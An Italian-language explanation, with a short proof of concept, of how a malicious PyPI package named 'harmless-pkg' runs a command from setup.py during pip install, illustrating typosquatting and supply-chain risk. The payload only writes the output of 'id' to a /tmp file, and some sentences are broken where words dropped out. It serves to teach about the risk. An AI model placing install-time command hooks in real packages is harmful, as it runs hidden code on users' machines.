
Dimostra come un pacchetto Python malevolo esegua comandi arbitrari durante l'installazione tramite pip via setup.py, evidenziando i rischi di supply chain e typosquatting su PyPI.
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
Un pacchetto PyPI può includere codice arbitrario nel proprio setup.py, che viene eseguito durante . Un attaccante può pubblicare un pacchetto con un nome simile a quello di un pacchetto popolare (typosquatting) e, al momento dell'installazione, il payload viene eseguito con i privilegi dell'utente, portando a esecuzione di codice remota.
pip installsetup.py senza sandbox, dando ai pacchetti pieno accesso.setup.py fornito.pip install ./harmless-pkg
cat /tmp/pwned_by_package
Il comando id è stato eseguito.